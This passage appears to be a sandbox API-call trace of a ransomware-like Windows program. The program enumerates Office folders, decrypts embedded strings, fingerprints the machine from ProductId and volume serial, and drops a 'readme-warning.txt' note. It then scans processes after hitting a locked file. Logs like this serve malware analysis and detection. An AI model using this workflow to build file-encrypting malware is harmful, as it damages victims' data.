cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1 [0169.122] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0 [0169.122] GetProcessHeap () returned 0x2ef0000 [0169.122] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0169.122] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0169.122] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0169.122] CryptDestroyKey (hKey=0x2f18308) returned 1 [0169.122] GetProcessHeap () returned 0x2ef0000 [0169.122] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0169.123] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0169.123] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0169.123] CryptDestroyKey (hKey=0x2f18308) returned 1 [0169.123] GetProcessHeap () returned 0x2ef0000 [0169.123] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0169.123] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0169.123] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfee20 | out: pbData=0x2f416d0, pdwDataLen=0x4dfee20) returned 1 [0169.123] CryptDestroyKey (hKey=0x2f18308) returned 1 [0169.123] GetProcessHeap () returned 0x2ef0000 [0169.123] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0169.123] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0169.123] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0169.123] CryptDestroyKey (hKey=0x2f18308) returned 1 [0169.123] GetProcessHeap () returned 0x2ef0000 [0169.123] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0169.123] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0169.123] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0169.123] CryptDestroyKey (hKey=0x2f18308) returned 1 [0169.123] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0169.124] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0169.124] RegCloseKey (hKey=0x114) returned 0x0 [0169.124] GetProcessHeap () returned 0x2ef0000 [0169.124] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0169.124] GetProcessHeap () returned 0x2ef0000 [0169.124] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0169.124] GetProcessHeap () returned 0x2ef0000 [0169.124] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0169.124] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0169.124] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0169.124] CryptDestroyKey (hKey=0x2f18308) returned 1 [0169.124] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0169.124] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0169.124] GetProcessHeap () returned 0x2ef0000 [0169.124] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0169.124] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0169.125] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0169.125] GetProcessHeap () returned 0x2ef0000 [0169.125] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0169.125] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\readme-warning.txt") returned 79 [0169.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0169.125] WriteFile (in: hFile=0x114, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0169.127] CloseHandle (hObject=0x114) returned 1 [0169.127] GetProcessHeap () returned 0x2ef0000 [0169.127] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0169.127] GetProcessHeap () returned 0x2ef0000 [0169.127] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0169.127] GetProcessHeap () returned 0x2ef0000 [0169.127] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0169.127] GetProcessHeap () returned 0x2ef0000 [0169.127] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0169.127] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0169.127] GetProcessHeap () returned 0x2ef0000 [0169.127] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0169.127] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0169.127] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0169.128] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0169.129] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0169.129] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0169.129] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0169.129] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0169.129] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Cultures", cAlternateFileName="")) returned 1 [0169.129] GetProcessHeap () returned 0x2ef0000 [0169.129] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x92) returned 0x2f170f8 [0169.129] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0169.131] GetProcessHeap () returned 0x2ef0000 [0169.131] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f8 | out: hHeap=0x2ef0000) returned 1 [0169.131] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0169.131] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0169.131] GetProcessHeap () returned 0x2ef0000 [0169.131] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x294) returned 0x2f3e278 [0169.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.132] GetLastError () returned 0x20 [0169.132] GetProcessHeap () returned 0x2ef0000 [0169.132] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x100000) returned 0x4e00020 [0169.132] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x4e00020, Length=0x100000, ResultLength=0x0 | out: SystemInformation=0x4e00020, ResultLength=0x0) returned 0x0 [0169.219] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.219] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.220] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.220] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.220] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.220] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.220] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.220] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.220] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.220] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.220] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.221] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.221] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.221] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.221] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.221] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.221] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.221] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.221] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.221] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.222] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.222] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.222] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.222] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.222] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.222] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.222] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.222] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.222] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.222] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0169.223] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) 